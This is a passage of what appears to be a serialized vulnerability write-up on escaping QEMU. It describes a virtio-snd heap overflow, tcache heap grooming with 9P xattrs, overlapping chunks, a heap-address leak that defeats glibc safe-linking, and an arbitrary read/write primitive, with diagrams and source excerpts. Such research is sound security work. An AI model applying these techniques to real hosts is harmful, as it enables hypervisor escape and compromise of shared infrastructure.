|\n+----------+----------+----------+----------+----------+\n",[128341],{"type":23,"tag":92,"props":128342,"children":128343},{"__ignoreMap":7},[128344],{"type":28,"value":128339},{"type":23,"tag":24,"props":128346,"children":128347},{},[128348,128350,128355,128357,128363,128365,128371,128373,128378,128380,128385,128387,128392],{"type":28,"value":128349},"With that heap state, issuing a ",{"type":23,"tag":92,"props":128351,"children":128353},{"className":128352},[],[128354],{"type":28,"value":128127},{"type":28,"value":128356}," request would first free ",{"type":23,"tag":92,"props":128358,"children":128360},{"className":128359},[],[128361],{"type":28,"value":128362},".name A",{"type":28,"value":128364}," and then ",{"type":23,"tag":92,"props":128366,"children":128368},{"className":128367},[],[128369],{"type":28,"value":128370},".value A",{"type":28,"value":128372},". When ",{"type":23,"tag":92,"props":128374,"children":128376},{"className":128375},[],[128377],{"type":28,"value":128370},{"type":28,"value":128379}," is freed, the allocator sees that the preceding chunk ",{"type":23,"tag":92,"props":128381,"children":128383},{"className":128382},[],[128384],{"type":28,"value":128362},{"type":28,"value":128386}," is already free and immediately consolidates the two. As a result, instead of ending up with many reusable ",{"type":23,"tag":92,"props":128388,"children":128390},{"className":128389},[],[128391],{"type":28,"value":127417},{"type":28,"value":128393},"-sized chunks in the freelist, we would just create a large consolidated free chunk, which is not what we want.",{"type":23,"tag":24,"props":128395,"children":128396},{},[128397],{"type":28,"value":128398},"To avoid that, we take advantage of the fact that chunks freed into tcache are not consolidated. It is also important to note that tcache maintains a separate freelist for each size class within the tcache range, and in this glibc version each such freelist can hold up to 16 entries.",{"type":23,"tag":24,"props":128400,"children":128401},{},[128402,128404,128409,128411,128416,128418,128423,128425,128431,128433,128438,128440,128446],{"type":28,"value":128403},"We begin by draining the tcache freelist for every relevant size class by allocating 16 chunks of each size. Throughout this process, the ",{"type":23,"tag":92,"props":128405,"children":128407},{"className":128406},[],[128408],{"type":28,"value":127417},{"type":28,"value":128410}," allocation remains fixed at size ",{"type":23,"tag":92,"props":128412,"children":128414},{"className":128413},[],[128415],{"type":28,"value":104579},{"type":28,"value":128417},". We first allocate 16 xattrs whose ",{"type":23,"tag":92,"props":128419,"children":128421},{"className":128420},[],[128422],{"type":28,"value":127424},{"type":28,"value":128424}," size is ",{"type":23,"tag":92,"props":128426,"children":128428},{"className":128427},[],[128429],{"type":28,"value":128430},"0x30",{"type":28,"value":128432},". After that, we allocate another 16 xattrs, this time with ",{"type":23,"tag":92,"props":128434,"children":128436},{"className":128435},[],[128437],{"type":28,"value":127424},{"type":28,"value":128439}," size ",{"type":23,"tag":92,"props":128441,"children":128443},{"className":128442},[],[128444],{"type":28,"value":128445},"0x40",{"type":28,"value":128447},", and continue in the same way for each tcache size class.",{"type":23,"tag":24,"props":128449,"children":128450},{},[128451],{"type":28,"value":128452},"This yields the following layout:",{"type":23,"tag":87,"props":128454,"children":128456},{"code":128455},"    0x20        0x30         0x20        0x30\n+---------+--------------+---------+--------------+- - - - -\n|         |              |         |              |\n| .name A |   .value A   | .name B |   .value B   |  . . .\n|         |              |         |              |\n+---------+--------------+---------+--------------+- - - - -\n\n    0x20          0x40           0x20           0x40\n+---------+------------------+---------+------------------+- - - - -\n|         |                  |         |                  |\n| .name C |     .value C     | .name D |     .value D     |  . . .\n|         |                  |         |                  |\n+---------+------------------+---------+------------------+- - - - -\n",[128457],{"type":23,"tag":92,"props":128458,"children":128459},{"__ignoreMap":7},[128460],{"type":28,"value":128455},{"type":23,"tag":24,"props":128462,"children":128463},{},[128464,128466,128471,128473,128478,128480,128485,128487,128492,128494,128499,128501,128506,128507,128512,128514,128519,128521,128526,128528,128533,128535,128540,128542,128547],{"type":28,"value":128465},"At this point, we can free all allocations created during this phase. Because we emptied every tcache freelist, the first 16 ",{"type":23,"tag":92,"props":128467,"children":128469},{"className":128468},[],[128470],{"type":28,"value":127417},{"type":28,"value":128472}," chunks end up in the ",{"type":23,"tag":92,"props":128474,"children":128476},{"className":128475},[],[128477],{"type":28,"value":104579},{"type":28,"value":128479}," tcache bin, along with the interleaved ",{"type":23,"tag":92,"props":128481,"children":128483},{"className":128482},[],[128484],{"type":28,"value":127424},{"type":28,"value":128486}," chunks of size ",{"type":23,"tag":92,"props":128488,"children":128490},{"className":128489},[],[128491],{"type":28,"value":128430},{"type":28,"value":128493},". The next 16 ",{"type":23,"tag":92,"props":128495,"children":128497},{"className":128496},[],[128498],{"type":28,"value":127417},{"type":28,"value":128500}," chunks are interleaved with ",{"type":23,"tag":92,"props":128502,"children":128504},{"className":128503},[],[128505],{"type":28,"value":127424},{"type":28,"value":128486},{"type":23,"tag":92,"props":128508,"children":128510},{"className":128509},[],[128511],{"type":28,"value":128445},{"type":28,"value":128513},"; when freed, those ",{"type":23,"tag":92,"props":128515,"children":128517},{"className":128516},[],[128518],{"type":28,"value":127424},{"type":28,"value":128520}," chunks also go into their corresponding tcache bin instead of consolidating with the adjacent free ",{"type":23,"tag":92,"props":128522,"children":128524},{"className":128523},[],[128525],{"type":28,"value":127417},{"type":28,"value":128527}," chunks. Repeating this across all tcache sizes leaves us with a large region of free ",{"type":23,"tag":92,"props":128529,"children":128531},{"className":128530},[],[128532],{"type":28,"value":127417},{"type":28,"value":128534},"-sized chunks that will later be served to the ",{"type":23,"tag":92,"props":128536,"children":128538},{"className":128537},[],[128539],{"type":28,"value":127417},{"type":28,"value":128541}," allocations of the main contiguous spray - leaving us with the desired layout of adjacent ",{"type":23,"tag":92,"props":128543,"children":128545},{"className":128544},[],[128546],{"type":28,"value":127424},{"type":28,"value":128273},{"type":23,"tag":9072,"props":128549,"children":128551},{"id":128550},"corrupting-the-size",[128552],{"type":28,"value":128553},"Corrupting the Size",{"type":23,"tag":24,"props":128555,"children":128556},{},[128557,128559,128564,128566,128571,128573,128578,128580,128585,128586,128591],{"type":28,"value":128558},"The input format is guest-controlled, and we choose ",{"type":23,"tag":92,"props":128560,"children":128562},{"className":128561},[],[128563],{"type":28,"value":600},{"type":28,"value":128565}," (unsigned 8-bit PCM). As noted earlier, silence in ",{"type":23,"tag":92,"props":128567,"children":128569},{"className":128568},[],[128570],{"type":28,"value":600},{"type":28,"value":128572}," is centered at ",{"type":23,"tag":92,"props":128574,"children":128576},{"className":128575},[],[128577],{"type":28,"value":28933},{"type":28,"value":128579}," (rather than ",{"type":23,"tag":92,"props":128581,"children":128583},{"className":128582},[],[128584],{"type":28,"value":125679},{"type":28,"value":125666},{"type":23,"tag":92,"props":128587,"children":128589},{"className":128588},[],[128590],{"type":28,"value":125657},{"type":28,"value":128592},"), which biases this uncontrolled overflow toward larger byte values and increases the chance that the corrupted size grows.",{"type":23,"tag":24,"props":128594,"children":128595},{},[128596,128598,128603],{"type":28,"value":128597},"As we already concluded, ",{"type":23,"tag":92,"props":128599,"children":128601},{"className":128600},[],[128602],{"type":28,"value":125122},{"type":28,"value":128604}," is called with the amount:",{"type":23,"tag":87,"props":128606,"children":128608},{"code":128607},"MIN(available, (stream->params.period_bytes - buffer->size))\n",[128609],{"type":23,"tag":92,"props":128610,"children":128611},{"__ignoreMap":7},[128612],{"type":28,"value":128607},{"type":23,"tag":24,"props":128614,"children":128615},{},[128616,128618,128623,128625,128630],{"type":28,"value":128617},"And as mentioned earlier, ",{"type":23,"tag":92,"props":128619,"children":128621},{"className":128620},[],[128622],{"type":28,"value":125153},{"type":28,"value":128624}," is fully guest-controlled, so we can set it such that the overflow reaches exactly far enough to overwrite only the lowest byte of the next chunk's ",{"type":23,"tag":92,"props":128626,"children":128628},{"className":128627},[],[128629],{"type":28,"value":123772},{"type":28,"value":57833},{"type":23,"tag":24,"props":128632,"children":128633},{},[128634,128636,128641,128643,128648],{"type":28,"value":128635},"With the desired heap layout of repeated ",{"type":23,"tag":92,"props":128637,"children":128639},{"className":128638},[],[128640],{"type":28,"value":127326},{"type":28,"value":128642},"-sized ",{"type":23,"tag":92,"props":128644,"children":128646},{"className":128645},[],[128647],{"type":28,"value":127424},{"type":28,"value":128649}," chunks in place, we can then free every other one:",{"type":23,"tag":87,"props":128651,"children":128653},{"code":128652},"               Free                  Free\n+----------+----------+----------+----------+----------+\n|          |..........|          |..........|          |\n| .value A |..........| .value C |..........| .value E |\n|          |..........|          |..........|          |\n+----------+----------+----------+----------+----------+\n",[128654],{"type":23,"tag":92,"props":128655,"children":128656},{"__ignoreMap":7},[128657],{"type":28,"value":128652},{"type":23,"tag":24,"props":128659,"children":128660},{},[128661,128663,128668],{"type":28,"value":128662},"We then allocate the overflowing virtio-snd buffer into one of those holes, start the stream, and let it overflow into the size field of the ",{"type":23,"tag":92,"props":128664,"children":128666},{"className":128665},[],[128667],{"type":28,"value":127424},{"type":28,"value":128669}," chunk directly next to it:",{"type":23,"tag":87,"props":128671,"children":128673},{"code":128672},"           +----------+\n           |          |              Free\n+----------|  buffer  |----------+----------+----------+\n|          |          |          |..........|          |\n| .value A +----------+ .value C |..........| .value E |\n|          |          |          |..........|          |\n+----------+          +----------+----------+----------+\n",[128674],{"type":23,"tag":92,"props":128675,"children":128676},{"__ignoreMap":7},[128677],{"type":28,"value":128672},{"type":23,"tag":24,"props":128679,"children":128680},{},[128681,128683,128688,128690,128695],{"type":28,"value":128682},"After the overflow, the virtio-snd buffer is freed by QEMU. We then refill all of the holes created for the virtio-snd buffer by allocating new ",{"type":23,"tag":92,"props":128684,"children":128686},{"className":128685},[],[128687],{"type":28,"value":127326},{"type":28,"value":128689},"-sized chunks in their place. At that point, we are left with a layout similar to the original one, except that one ",{"type":23,"tag":92,"props":128691,"children":128693},{"className":128692},[],[128694],{"type":28,"value":127424},{"type":28,"value":128696}," chunk now has a corrupted and likely oversized size field:",{"type":23,"tag":87,"props":128698,"children":128700},{"code":128699},"                      Oversized chunk\n                             |\n                      +------+------+\n                      |             |\n                      v             v\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .value A | .value X | .value C | .value Y | .value E |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[128701],{"type":23,"tag":92,"props":128702,"children":128703},{"__ignoreMap":7},[128704],{"type":28,"value":128699},{"type":23,"tag":24,"props":128706,"children":128707},{},[128708,128710,128715],{"type":28,"value":128709},"At this point, we can free the chunks left over from the initial contiguous spray. Because one chunk now has a corrupted, larger size field, freeing it causes a single oversized chunk to be inserted into one of the tcache bins in the range ",{"type":23,"tag":92,"props":128711,"children":128713},{"className":128712},[],[128714],{"type":28,"value":127341},{"type":28,"value":1697},{"type":23,"tag":87,"props":128717,"children":128719},{"code":128718},"                           Free\n                        0x210-0x2f0\n                             |\n                      +------+------+\n   Free               |             |          Free\n   0x200              v             v          0x200\n+----------+----------+----------+----------+----------+\n|..........|          |..........|          |..........|\n|..........| .value X |..........| .value Y |..........|\n|..........|          |..........|          |..........|\n+----------+----------+----------+----------+----------+\n",[128720],{"type":23,"tag":92,"props":128721,"children":128722},{"__ignoreMap":7},[128723],{"type":28,"value":128718},{"type":23,"tag":24,"props":128725,"children":128726},{},[128727,128729,128734],{"type":28,"value":128728},"We then once again fill the remaining holes and recover the oversized chunk by simply allocating every size in the possible range (",{"type":23,"tag":92,"props":128730,"children":128732},{"className":128731},[],[128733],{"type":28,"value":127341},{"type":28,"value":20220},{"type":23,"tag":87,"props":128736,"children":128738},{"code":128737},"                         .value B\n                      +-------------+\n                      |             |\n                      v             v\n+----------+----------+----------+--+-------+----------+\n|          |          |          |//|       |          |\n| .value A | .value X |          |//|       | .value C |\n|          |          |          |//|       |          |\n+----------+----------+----------+--+-------+----------+\n                                 ^          ^\n                                 |          |\n                                 +----------+\n                                   .value Y\n",[128739],{"type":23,"tag":92,"props":128740,"children":128741},{"__ignoreMap":7},[128742],{"type":28,"value":128737},{"type":23,"tag":24,"props":128744,"children":128745},{},[128746,128748,128754],{"type":28,"value":128747},"After reclaiming it, we use that chunk to overwrite the size of the next chunk again, but this time we set it to ",{"type":23,"tag":92,"props":128749,"children":128751},{"className":128750},[],[128752],{"type":28,"value":128753},"0x400",{"type":28,"value":128755}," - this gives us a chunk that fully overlaps the chunk next to it, leaving us in the following final state:",{"type":23,"tag":87,"props":128757,"children":128759},{"code":128758},"                                    .value Y extended\n                                            |\n                                 +----------+----------+\n                                 |                     |\n                                 v                     v\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .value A | .value X | .value B | .value Y | .value C |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[128760],{"type":23,"tag":92,"props":128761,"children":128762},{"__ignoreMap":7},[128763],{"type":28,"value":128758},{"type":23,"tag":9072,"props":128765,"children":128767},{"id":128766},"leaking-a-heap-address",[128768],{"type":28,"value":128769},"Leaking a Heap Address",{"type":23,"tag":24,"props":128771,"children":128772},{},[128773],{"type":28,"value":128774},"We begin by leaking a heap address, since that is the simplest target at this stage. More specifically, we want the address of a heap chunk whose contents we control. Once we have that, we gain a region of memory at a known address with controlled contents, which is useful for placing fake objects or reclaiming the same location with other objects and later inspecting them with an arbitrary read primitive.",{"type":23,"tag":24,"props":128776,"children":128777},{},[128778,128780,128786],{"type":28,"value":128779},"To do this, we abuse the forward (",{"type":23,"tag":92,"props":128781,"children":128783},{"className":128782},[],[128784],{"type":28,"value":128785},"fd",{"type":28,"value":128787},") pointers used by tcache freelists. Modern glibc protects these pointers with a mitigation known as safe-linking. Instead of storing the next free chunk pointer directly, glibc encodes it by XORing it with the address of the current chunk, shifted right by 12:",{"type":23,"tag":87,"props":128789,"children":128791},{"code":128790},"fd = next ^ (curr >> 12)\n",[128792],{"type":23,"tag":92,"props":128793,"children":128794},{"__ignoreMap":7},[128795],{"type":28,"value":128790},{"type":23,"tag":24,"props":128797,"children":128798},{},[128799,128801,128806,128807,128812],{"type":28,"value":128800},"When a tcache bin is empty and a single chunk is inserted into it, ",{"type":23,"tag":92,"props":128802,"children":128804},{"className":128803},[],[128805],{"type":28,"value":57072},{"type":28,"value":4956},{"type":23,"tag":92,"props":128808,"children":128810},{"className":128809},[],[128811],{"type":28,"value":54002},{"type":28,"value":128813}," because there is no following entry. In that case, the encoding becomes:",{"type":23,"tag":87,"props":128815,"children":128817},{"code":128816},"fd = 0 ^ (curr >> 12)\n",[128818],{"type":23,"tag":92,"props":128819,"children":128820},{"__ignoreMap":7},[128821],{"type":28,"value":128816},{"type":23,"tag":24,"props":128823,"children":128824},{},[128825,128827,128832],{"type":28,"value":128826},"So if we free a single chunk into an empty tcache bin, its ",{"type":23,"tag":92,"props":128828,"children":128830},{"className":128829},[],[128831],{"type":28,"value":128785},{"type":28,"value":128833}," field is effectively just the chunk address shifted right by 12.",{"type":23,"tag":24,"props":128835,"children":128836},{},[128837],{"type":28,"value":128838},"In the overlap we achieved earlier:",{"type":23,"tag":87,"props":128840,"children":128842},{"code":128841},"             .value Y extended\n                     |\n+--------------------+--------------------+\n|                                         |\n|                                         |\nv                                         v\n+--------------------+--------------------+\n|                    |                    |\n|      .value Y      |      .value C      |\n|                    |                    |\n+--------------------+--------------------+\n",[128843],{"type":23,"tag":92,"props":128844,"children":128845},{"__ignoreMap":7},[128846],{"type":28,"value":128841},{"type":23,"tag":24,"props":128848,"children":128849},{},[128850,128852,128858,128860,128866,128868,128874,128876,128881],{"type":28,"value":128851},"We first free ",{"type":23,"tag":92,"props":128853,"children":128855},{"className":128854},[],[128856],{"type":28,"value":128857},".value C",{"type":28,"value":128859}," into tcache and read its contents through the oversized ",{"type":23,"tag":92,"props":128861,"children":128863},{"className":128862},[],[128864],{"type":28,"value":128865},".value Y",{"type":28,"value":128867},". This gives us ",{"type":23,"tag":92,"props":128869,"children":128871},{"className":128870},[],[128872],{"type":28,"value":128873},".value C >> 12",{"type":28,"value":128875},". That is not yet the exact address of ",{"type":23,"tag":92,"props":128877,"children":128879},{"className":128878},[],[128880],{"type":28,"value":128857},{"type":28,"value":128882},", since the lower 12 bits are lost.",{"type":23,"tag":24,"props":128884,"children":128885},{},[128886,128888,128893,128895,128900,128902,128907,128909,128914],{"type":28,"value":128887},"To recover the exact address of a controlled heap chunk, we reclaim ",{"type":23,"tag":92,"props":128889,"children":128891},{"className":128890},[],[128892],{"type":28,"value":128857},{"type":28,"value":128894},", then free a different controlled chunk into the same tcache bin. After that, we free ",{"type":23,"tag":92,"props":128896,"children":128898},{"className":128897},[],[128899],{"type":28,"value":128857},{"type":28,"value":128901}," again. This time, ",{"type":23,"tag":92,"props":128903,"children":128905},{"className":128904},[],[128906],{"type":28,"value":57072},{"type":28,"value":128908}," is no longer ",{"type":23,"tag":92,"props":128910,"children":128912},{"className":128911},[],[128913],{"type":28,"value":54002},{"type":28,"value":128915},", but instead points to that controlled chunk, so the encoded forward pointer becomes:",{"type":23,"tag":87,"props":128917,"children":128918},{"code":128790},[128919],{"type":23,"tag":92,"props":128920,"children":128921},{"__ignoreMap":7},[128922],{"type":28,"value":128790},{"type":23,"tag":24,"props":128924,"children":128925},{},[128926,128928,128934,128936,128941,128943,128948,128950,128955],{"type":28,"value":128927},"Since we already know ",{"type":23,"tag":92,"props":128929,"children":128931},{"className":128930},[],[128932],{"type":28,"value":128933},"curr >> 12",{"type":28,"value":128935}," from the first leak, we can read the new ",{"type":23,"tag":92,"props":128937,"children":128939},{"className":128938},[],[128940],{"type":28,"value":128785},{"type":28,"value":128942}," value from ",{"type":23,"tag":92,"props":128944,"children":128946},{"className":128945},[],[128947],{"type":28,"value":128857},{"type":28,"value":128949}," and recover the exact address of ",{"type":23,"tag":92,"props":128951,"children":128953},{"className":128952},[],[128954],{"type":28,"value":57072},{"type":28,"value":128956}," by reversing the XOR:",{"type":23,"tag":87,"props":128958,"children":128960},{"code":128959},"next = fd ^ (curr >> 12)\n",[128961],{"type":23,"tag":92,"props":128962,"children":128963},{"__ignoreMap":7},[128964],{"type":28,"value":128959},{"type":23,"tag":24,"props":128966,"children":128967},{},[128968],{"type":28,"value":128969},"This gives us the exact address of a heap chunk whose contents we control.",{"type":23,"tag":9072,"props":128971,"children":128973},{"id":128972},"arbitrary-read-and-write",[128974],{"type":28,"value":128975},"Arbitrary Read and Write",{"type":23,"tag":24,"props":128977,"children":128978},{},[128979,128981,128986],{"type":28,"value":128980},"Having a controlled chunk at a known address lets us repurpose ",{"type":23,"tag":92,"props":128982,"children":128984},{"className":128983},[],[128985],{"type":28,"value":128857},{"type":28,"value":128987}," into an arbitrary read/write primitive. To do that, we go back to the 9P device.",{"type":23,"tag":24,"props":128989,"children":128990},{},[128991,128993,128998],{"type":28,"value":128992},"Recall ",{"type":23,"tag":92,"props":128994,"children":128996},{"className":128995},[],[128997],{"type":28,"value":127461},{"type":28,"value":1697},{"type":23,"tag":87,"props":129000,"children":129002},{"code":129001,"language":315,"meta":7,"className":15985,"style":7},"static void coroutine_fn v9fs_xattrcreate(void *opaque)\n{\n    uint64_t size;\n    V9fsFidState *file_fidp;\n    V9fsFidState *xattr_fidp;\n\n    [...]\n\n    file_fidp = get_fid(pdu, fid);\n\n    [...]\n\n    /* Make the file fid point to xattr */\n    xattr_fidp = file_fidp;\n    xattr_fidp->fs.xattr.len = size;\n    xattr_fidp->fs.xattr.value = g_malloc0(size);\n\n    [...]\n",[129003],{"type":23,"tag":92,"props":129004,"children":129005},{"__ignoreMap":7},[129006,129045,129052,129063,129078,129093,129100,129107,129114,129136,129143,129150,129157,129165,129182,129221,129264,129271],{"type":23,"tag":134,"props":129007,"children":129008},{"class":136,"line":137},[129009,129013,129017,129021,129025,129029,129033,129037,129041],{"type":23,"tag":134,"props":129010,"children":129011},{"style":151},[129012],{"type":28,"value":50550},{"type":23,"tag":134,"props":129014,"children":129015},{"style":151},[129016],{"type":28,"value":50555},{"type":23,"tag":134,"props":129018,"children":129019},{"style":179},[129020],{"type":28,"value":127456},{"type":23,"tag":134,"props":129022,"children":129023},{"style":264},[129024],{"type":28,"value":127461},{"type":23,"tag":134,"props":129026,"children":129027},{"style":179},[129028],{"type":28,"value":272},{"type":23,"tag":134,"props":129030,"children":129031},{"style":151},[129032],{"type":28,"value":51133},{"type":23,"tag":134,"props":129034,"children":129035},{"style":168},[129036],{"type":28,"value":9281},{"type":23,"tag":134,"props":129038,"children":129039},{"style":162},[129040],{"type":28,"value":127478},{"type":23,"tag":134,"props":129042,"children":129043},{"style":179},[129044],{"type":28,"value":329},{"type":23,"tag":134,"props":129046,"children":129047},{"class":136,"line":147},[129048],{"type":23,"tag":134,"props":129049,"children":129050},{"style":179},[129051],{"type":28,"value":10346},{"type":23,"tag":134,"props":129053,"children":129054},{"class":136,"line":185},[129055,129059],{"type":23,"tag":134,"props":129056,"children":129057},{"style":151},[129058],{"type":28,"value":55119},{"type":23,"tag":134,"props":129060,"children":129061},{"style":179},[129062],{"type":28,"value":124114},{"type":23,"tag":134,"props":129064,"children":129065},{"class":136,"line":221},[129066,129070,129074],{"type":23,"tag":134,"props":129067,"children":129068},{"style":179},[129069],{"type":28,"value":127603},{"type":23,"tag":134,"props":129071,"children":129072},{"style":168},[129073],{"type":28,"value":1777},{"type":23,"tag":134,"props":129075,"children":129076},{"style":179},[129077],{"type":28,"value":127612},{"type":23,"tag":134,"props":129079,"children":129080},{"class":136,"line":332},[129081,129085,129089],{"type":23,"tag":134,"props":129082,"children":129083},{"style":179},[129084],{"type":28,"value":127603},{"type":23,"tag":134,"props":129086,"children":129087},{"style":168},[129088],{"type":28,"value":1777},{"type":23,"tag":134,"props":129090,"children":129091},{"style":179},[129092],{"type":28,"value":127628},{"type":23,"tag":134,"props":129094,"children":129095},{"class":136,"line":438},[129096],{"type":23,"tag":134,"props":129097,"children":129098},{"emptyLinePlaceholder":15},[129099],{"type":28,"value":865},{"type":23,"tag":134,"props":129101,"children":129102},{"class":136,"line":466},[129103],{"type":23,"tag":134,"props":129104,"children":129105},{"style":179},[129106],{"type":28,"value":104313},{"type":23,"tag":134,"props":129108,"children":129109},{"class":136,"line":479},[129110],{"type":23,"tag":134,"props":129111,"children":129112},{"emptyLinePlaceholder":15},[129113],{"type":28,"value":865},{"type":23,"tag":134,"props":129115,"children":129116},{"class":136,"line":497},[129117,129122,129126,129131],{"type":23,"tag":134,"props":129118,"children":129119},{"style":179},[129120],{"type":28,"value":129121},"    file_fidp ",{"type":23,"tag":134,"props":129123,"children":129124},{"style":168},[129125],{"type":28,"value":257},{"type":23,"tag":134,"props":129127,"children":129128},{"style":264},[129129],{"type":28,"value":129130}," get_fid",{"type":23,"tag":134,"props":129132,"children":129133},{"style":179},[129134],{"type":28,"value":129135},"(pdu, fid);\n",{"type":23,"tag":134,"props":129137,"children":129138},{"class":136,"line":518},[129139],{"type":23,"tag":134,"props":129140,"children":129141},{"emptyLinePlaceholder":15},[129142],{"type":28,"value":865},{"type":23,"tag":134,"props":129144,"children":129145},{"class":136,"line":527},[129146],{"type":23,"tag":134,"props":129147,"children":129148},{"style":179},[129149],{"type":28,"value":104313},{"type":23,"tag":134,"props":129151,"children":129152},{"class":136,"line":780},[129153],{"type":23,"tag":134,"props":129154,"children":129155},{"emptyLinePlaceholder":15},[129156],{"type":28,"value":865},{"type":23,"tag":134,"props":129158,"children":129159},{"class":136,"line":797},[129160],{"type":23,"tag":134,"props":129161,"children":129162},{"style":141},[129163],{"type":28,"value":129164},"    /* Make the file fid point to xattr */\n",{"type":23,"tag":134,"props":129166,"children":129167},{"class":136,"line":814},[129168,129173,129177],{"type":23,"tag":134,"props":129169,"children":129170},{"style":179},[129171],{"type":28,"value":129172},"    xattr_fidp ",{"type":23,"tag":134,"props":129174,"children":129175},{"style":168},[129176],{"type":28,"value":257},{"type":23,"tag":134,"props":129178,"children":129179},{"style":179},[129180],{"type":28,"value":129181}," file_fidp;\n",{"type":23,"tag":134,"props":129183,"children":129184},{"class":136,"line":827},[129185,129189,129193,129197,129201,129205,129209,129213,129217],{"type":23,"tag":134,"props":129186,"children":129187},{"style":162},[129188],{"type":28,"value":128006},{"type":23,"tag":134,"props":129190,"children":129191},{"style":179},[129192],{"type":28,"value":13225},{"type":23,"tag":134,"props":129194,"children":129195},{"style":162},[129196],{"type":28,"value":36480},{"type":23,"tag":134,"props":129198,"children":129199},{"style":179},[129200],{"type":28,"value":720},{"type":23,"tag":134,"props":129202,"children":129203},{"style":162},[129204],{"type":28,"value":127930},{"type":23,"tag":134,"props":129206,"children":129207},{"style":179},[129208],{"type":28,"value":720},{"type":23,"tag":134,"props":129210,"children":129211},{"style":162},[129212],{"type":28,"value":8601},{"type":23,"tag":134,"props":129214,"children":129215},{"style":168},[129216],{"type":28,"value":171},{"type":23,"tag":134,"props":129218,"children":129219},{"style":179},[129220],{"type":28,"value":124114},{"type":23,"tag":134,"props":129222,"children":129223},{"class":136,"line":836},[129224,129228,129232,129236,129240,129244,129248,129252,129256,129260],{"type":23,"tag":134,"props":129225,"children":129226},{"style":162},[129227],{"type":28,"value":128006},{"type":23,"tag":134,"props":129229,"children":129230},{"style":179},[129231],{"type":28,"value":13225},{"type":23,"tag":134,"props":129233,"children":129234},{"style":162},[129235],{"type":28,"value":36480},{"type":23,"tag":134,"props":129237,"children":129238},{"style":179},[129239],{"type":28,"value":720},{"type":23,"tag":134,"props":129241,"children":129242},{"style":162},[129243],{"type":28,"value":127930},{"type":23,"tag":134,"props":129245,"children":129246},{"style":179},[129247],{"type":28,"value":720},{"type":23,"tag":134,"props":129249,"children":129250},{"style":162},[129251],{"type":28,"value":38650},{"type":23,"tag":134,"props":129253,"children":129254},{"style":168},[129255],{"type":28,"value":171},{"type":23,"tag":134,"props":129257,"children":129258},{"style":264},[129259],{"type":28,"value":123685},{"type":23,"tag":134,"props":129261,"children":129262},{"style":179},[129263],{"type":28,"value":128043},{"type":23,"tag":134,"props":129265,"children":129266},{"class":136,"line":859},[129267],{"type":23,"tag":134,"props":129268,"children":129269},{"emptyLinePlaceholder":15},[129270],{"type":28,"value":865},{"type":23,"tag":134,"props":129272,"children":129273},{"class":136,"line":868},[129274],{"type":23,"tag":134,"props":129275,"children":129276},{"style":179},[129277],{"type":28,"value":104313},{"type":23,"tag":24,"props":129279,"children":129280},{},[129281,129283,129289,129291,129296,129297,129302,129304,129309,129311,129317,129318,129324,129326,129331,129332,129337],{"type":28,"value":129282},"The important detail here is that an xattr FID stores both the backing pointer and its length inside the surrounding ",{"type":23,"tag":92,"props":129284,"children":129286},{"className":129285},[],[129287],{"type":28,"value":129288},"V9fsFidState",{"type":28,"value":129290}," object. In other words, if we can place a ",{"type":23,"tag":92,"props":129292,"children":129294},{"className":129293},[],[129295],{"type":28,"value":129288},{"type":28,"value":6780},{"type":23,"tag":92,"props":129298,"children":129300},{"className":129299},[],[129301],{"type":28,"value":128857},{"type":28,"value":129303}," currently sits, the overlapping ",{"type":23,"tag":92,"props":129305,"children":129307},{"className":129306},[],[129308],{"type":28,"value":128865},{"type":28,"value":129310}," chunk can overwrite ",{"type":23,"tag":92,"props":129312,"children":129314},{"className":129313},[],[129315],{"type":28,"value":129316},"V9fsFidState.fs.xattr.value",{"type":28,"value":10458},{"type":23,"tag":92,"props":129319,"children":129321},{"className":129320},[],[129322],{"type":28,"value":129323},"V9fsFidState.fs.xattr.len",{"type":28,"value":129325},". That would immediately give us arbitrary read and write through ",{"type":23,"tag":92,"props":129327,"children":129329},{"className":129328},[],[129330],{"type":28,"value":128119},{"type":28,"value":10458},{"type":23,"tag":92,"props":129333,"children":129335},{"className":129334},[],[129336],{"type":28,"value":128111},{"type":28,"value":720},{"type":23,"tag":24,"props":129339,"children":129340},{},[129341,129343,129348,129349,129354,129356,129361,129363,129369,129371,129376,129378,129383,129385,129390,129392,129397,129399,129404],{"type":28,"value":129342},"At this point, ",{"type":23,"tag":92,"props":129344,"children":129346},{"className":129345},[],[129347],{"type":28,"value":128857},{"type":28,"value":14913},{"type":23,"tag":92,"props":129350,"children":129352},{"className":129351},[],[129353],{"type":28,"value":127326},{"type":28,"value":129355}," chunk, while ",{"type":23,"tag":92,"props":129357,"children":129359},{"className":129358},[],[129360],{"type":28,"value":129288},{"type":28,"value":129362}," falls into the ",{"type":23,"tag":92,"props":129364,"children":129366},{"className":129365},[],[129367],{"type":28,"value":129368},"0x120",{"type":28,"value":129370}," size class. Before freeing ",{"type":23,"tag":92,"props":129372,"children":129374},{"className":129373},[],[129375],{"type":28,"value":128857},{"type":28,"value":129377},", we therefore use the oversized ",{"type":23,"tag":92,"props":129379,"children":129381},{"className":129380},[],[129382],{"type":28,"value":128865},{"type":28,"value":129384}," chunk to change its size to match ",{"type":23,"tag":92,"props":129386,"children":129388},{"className":129387},[],[129389],{"type":28,"value":129288},{"type":28,"value":129391},". Once ",{"type":23,"tag":92,"props":129393,"children":129395},{"className":129394},[],[129396],{"type":28,"value":128857},{"type":28,"value":129398}," is freed, it is inserted into the ",{"type":23,"tag":92,"props":129400,"children":129402},{"className":129401},[],[129403],{"type":28,"value":129368},{"type":28,"value":129405}," tcache bin.",{"type":23,"tag":87,"props":129407,"children":129409},{"code":129408},"             .value Y extended\n                     |\n+--------------------+--------------------+\n|                                         |\n|                          Free           |\nv                          0x120          v\n+--------------------+---------------+----+\n|                    |...............|    |\n|      .value Y      |...............|    |\n|                    |...............|    |\n+--------------------+---------------+----+\n",[129410],{"type":23,"tag":92,"props":129411,"children":129412},{"__ignoreMap":7},[129413],{"type":28,"value":129408},{"type":23,"tag":24,"props":129415,"children":129416},{},[129417,129419,129424,129426,129432,129434,129440,129442,129447],{"type":28,"value":129418},"After that, we can simply allocate a new ",{"type":23,"tag":92,"props":129420,"children":129422},{"className":129421},[],[129423],{"type":28,"value":129288},{"type":28,"value":129425}," with a ",{"type":23,"tag":92,"props":129427,"children":129429},{"className":129428},[],[129430],{"type":28,"value":129431},"P9_TWALK",{"type":28,"value":129433}," request and a fresh FID - this reaches 